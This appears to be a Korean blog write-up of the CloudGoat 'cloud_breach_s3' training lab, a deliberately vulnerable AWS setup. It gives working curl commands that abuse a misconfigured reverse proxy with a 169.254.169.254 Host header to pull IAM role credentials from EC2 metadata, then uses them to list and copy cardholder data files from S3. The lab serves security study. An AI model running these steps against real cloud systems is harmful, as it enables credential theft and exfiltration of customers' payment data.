2024/CloudGoat

[CloudGoat] cloud_breach_s3

roeeyx 2026. 7. 24. 10:52

시나리오 리소스

1 VPC with:

  • EC2 x 1
  • S3 x 1

Amazon VPC (Virtual Private Cloud)

데이터 센터에서 운영하는 기존 네트워크와 유사한 가상 네트워크

Amazon VPC를 사용하면 격리된 가상 네트워크에서 리소스 배치, 연결 등 가상 네트워킹 환경을 제어할 수 있음

VPC에는 각 가용성 영역에 하나에 서브넷이 있고, 각 서브넷에 인스턴스가 있음

서브넷은 VPC의 IP 주소 범위. 서브넷을 추가한 후에 VPC에 AWS 리소스를 배포할 수 있음. AWS에서는 기본적으로 Amazon EC2 인스턴스를 제공함

Amazon EC2 (Elastic Compute Cloud)

AWS에서 제공하는 클라우드 컴퓨팅 서비스

EC2 인스턴스는 AWS의 클라우드 환경에서 사용자가 가상 서버를 쉽게 생성하고 관리할 수 있도록 지원하는 서비스

 

Amazon S3 (Simple Storage Service)

최고의 확장성, 데이터 가용성, 보안 및 성능을 제공하는 객체 스토리지 서비스

Amazon S3는 데이터를 버킷 내의 객체로 저장하는 객체 스토리지 서비스

구글 드라이브 처럼 파일을 저장하는 서비스로, 데이터를 온라인에서 오브젝트 형태로 저장하는 서비스

Bucket과 Object(객체)

  • 객체는 데이터와 메타데이터를 구성하고 있는 저장 단위 (S3에 저장되는 데이터는 모두 객체)
  • 버킷은 이러한 객체를 저장하고 관리하는 역할

 

시나리오 목표

S3 버킷 내의 confidential 파일 다운로드

 

시나리오 세팅

~/cloudgoat$ ./cloudgoat.py create cloud_breach_s3
 

시나리오 과정

접근 권한이 없는 익명의 외부인으로 시작해서 잘못 설정된 Reverse Proxy(리버스 프록시) 서버를 대상으로 EC2 메타 데이터 서비스를 쿼리하고 EC2 인스턴스 프로필 키를 획득함. 그 키를 사용해 S3 버킷에서 민감한 데이터를 탈취함

  1. EC2 서버의 IP 주소로 시작
  2. EC2 메타데이터 서비스로 EC2 인스턴스 프로필 키 획득하기
  3. 탈취한 정보로 프로필 등록하기
  4. S3 버킷 내에 존재하는 데이터 출력하기
  5. S3 버킷 내의 데이터 복사하기

리버스 프록시 (Reverse Proxy)

클라이언트를 대신해 서버로부터 자원을 추출하는 프록시 서버

추출한 자원은 웹 서버 자원들을 마치 웹 서버에서 직접 받은 것처럼 해당 클라이언트로 반환

인터넷 망에 있는 클라이언트가 리버스 프록시 서버에 요청하고 응답을 받는 방식

  • 정방향 프록시(Forward Proxy)는 클라이언트가 웹 서버에 요청을 보내면 서버가 클라이언트에 응답함

1. EC2 서버의 IP 주소로 시작

(1) ~/cloudgoat$ ./cloudgoat.py create cloud_breach_s3
cloudgoat_output_aws_account_id = " "
cloudgoat_output_target_ec2_server_ip = " "
  • 시나리오 생성하면 익명의 공격자가 EC2 인스턴스의 IP를 발견했다는 가정 하에 시나리오가 시작됨
  • 이 서버는 리버스 프록시로 설정되어 있음

(2) ~/cloudgoat$ cd cloud_breach_s3_[ ]

  • 생성된 시나리오 디렉터리로 이동

2. EC2 메타데이터 서비스로 EC2 인스턴스 프로필 키 획득하기

(1) ~/cloudgoat/cloud_breach_s3_[ ]$ curl http://[ec2_server_ip]

<h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again. </h1>
  • curl 명령어는 프로토콜(http)을 이용해 URL로 데이터를 전송하여 서버에 데이터를 보내거나 가져올 때 사용하기 위한 도구
  • curl 명령어는 리버스 프록시 서버로 동작하고 있는 EC2 인스턴스에 HTTP 요청을 보냄
  • 이 서버는 EC2 메타데이터 서버로 request를 전송하도록 구성됨
  • EC2 메타데이터 서비스는 특정한 Host 값이 필요한데 Host 헤더를 작성하지 않아 메시지가 출력됨

메타데이터 (Metadata)

  • AWS 인스턴스에는 인스턴스를 구성하거나 관리하는데 사용되는 메타데이터가 존재함. 이러한 메타데이터 관리 서비스를 IMDS(Instance Metadata Service) 라고 함
  • 메타데이터에는 인스턴스의 설정, 네트워크 정보, 보안 인증서, 환경 변수 등 다양한 정보 포함
  • S3 버킷에 올리는 객체가 데이터이고 최종 수정일, 파일 타입 등의 데이터가 메타데이터

AWS EC2 메타데이터 URL

  • AWS의 EC2 인스턴스에서는 메타데이터 서비스를 통해 인스턴스에 대한 다양한 정보를 가져올 수 있음
  • EC2 인스턴스에서 메타데이터 URL을 호출하면 HTTP 통신을 이용해 메타데이터 가져옴
  • AWS EC2에서 Instance Metadata를 조회하는 고정된 주소 : 169.254.169.254

 

(2) ~/cloudgoat/cloud_breach_s3_[ ]$ curl -s http://[ec2_server_ip]/latest/meta-data/ -H 'Host:169.254.169.254'

ami-id
ami-launch-index
ami-manifest-path
...
iam/
identity-credentials/
instance-action
instance-id
local-ipv4
...
security-groups
services/
  • EC2 메타데이터 서비스에 대해 메타데이터 정보를 얻는 명령
  • -s 옵션은 진행 내용이나 메시지들을 출력하지 않는 옵션
  • AWS EC2 IMDS에 있는 중요한 정보는 /iam 내에 있음
  • 역방향 프록시 서버이기 때문에 클라이언트가 메타데이터 서비스에 접근하려면 메타데이터 서비스 주소인 169.254.169.254를 Host 헤더로 사용해야함

(3) ~/cloudgoat/cloud_breach_s3_[ ]$ curl -s http://[ec2_server_ip]/latest/meta-data/iam/security-credentials/ -H 'Host:169.254.169.254'

cg-banking-WAF-Role-cloud_breach_s3_[ ]
  • 이전 명령어에 iam/security-credentials/ 경로를 추가하면 role-name을 출력할 수 있음

AWS document 에서 보면 EC2 인스턴스에서 IMDS를 통해 IAM Credential를 추출할 수 있음

 

(4) ~/cloudgoat/cloud_breach_s3_[ ]$ curl -s http://[ec2_server_ip]/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cloud_breach_s3_[ ] -H 'Host:169.254.169.254'

{
	"Code" : "Success"
	"LastUpdated" : "2024-11-00",
	"Type" : "AWS-HMAC",
	"AccessKeyId" : " ",
	"SecretAccessKey" : " ",
	"Token" : " ",
	"Expiration" : " "
}
  • 이전 명령어에 role-name 을 추가하면 AccessKeyId와 SecretAccessKey, Token을 얻을 수 있음

 

3. 탈취한 정보로 프로필 등록하기

~/cloudgoat/cloud_breach_s3_[ ]$ vi ~/.aws/crdentials
[breach]
aws_access_key_id = 
aws_secret_access_key =
aws_session_token =
  • 이름 breach로 프로필 등록 (이름 아무거나 가능)
  • 위에서 얻은 정보 그대로 입력해주기

 

4. S3 버킷 내에 존재하는 데이터 출력하기

(1) ~/cloudgoat/cloud_breach_s3_[ ]$ aws s3 ls --profile breach

2024-11-00 00:00:00 cg-cardholder-data-bucket-cloud-breach-s3-[ ]
  • s3 목록 출력하기
  • cg-cardholder-data 라는 s3가 존재함

(2) ~/cloudgoat/cloud_breach_s3_[ ]$ aws s3 ls s3://cg-cardholder-data-bucket-cloud-breach-s3-[ ] --profile breach

2024-11-00 00:00:00  58882 cardholder_data_primary.csv
2024-11-00 00:00:00  59384 cardholder_data_secondary.csv
2024-11-00 00:00:00  92165 cardholders_corporate.csv
2024-11-00 00:00:00 249500 goat.png
  • cg-cardholder-data라는 s3에 어떤 파일이 있는지 출력

 

5. S3 버킷 내의 데이터 복사하기

~/cloudgoat/cloud_breach_s3_[ ]$ aws s3 sync s3://cg-cardholder-data-bucket-cloud-breach-s3-[ ] ./cardholder-data --profile breach
download: s3://cg-cardholder-data-bucket-cloud-breach-s3-[ ]/cardholder_data_primary.csv to cardholder-data/cardholder_data_primary.csv
download: s3://cg-cardholder-data-bucket-cloud-breach-s3-[ ]/cardholder_data_secondary.csv to cardholder-data/cardholder_data_secondary.csv
download: s3://cg-cardholder-data-bucket-cloud-breach-s3-[ ]/cardholders_corporate.csv to cardholder-data/cardholders_corporate.csv
download: s3://cg-cardholder-data-bucket-cloud-breach-s3-[ ]/goat.png to cardholder-data/goat.png
  • s3의 파일들을 현재 디렉터리 안에 cardholder-data 이름을 가진 디렉터리로 복사

https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/cloud_breach_s3

 

cloudgoat/cloudgoat/scenarios/aws/cloud_breach_s3 at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

'2024 > CloudGoat' 카테고리의 다른 글

[CloudGoat] lambda_privesc  (0) 2026.07.24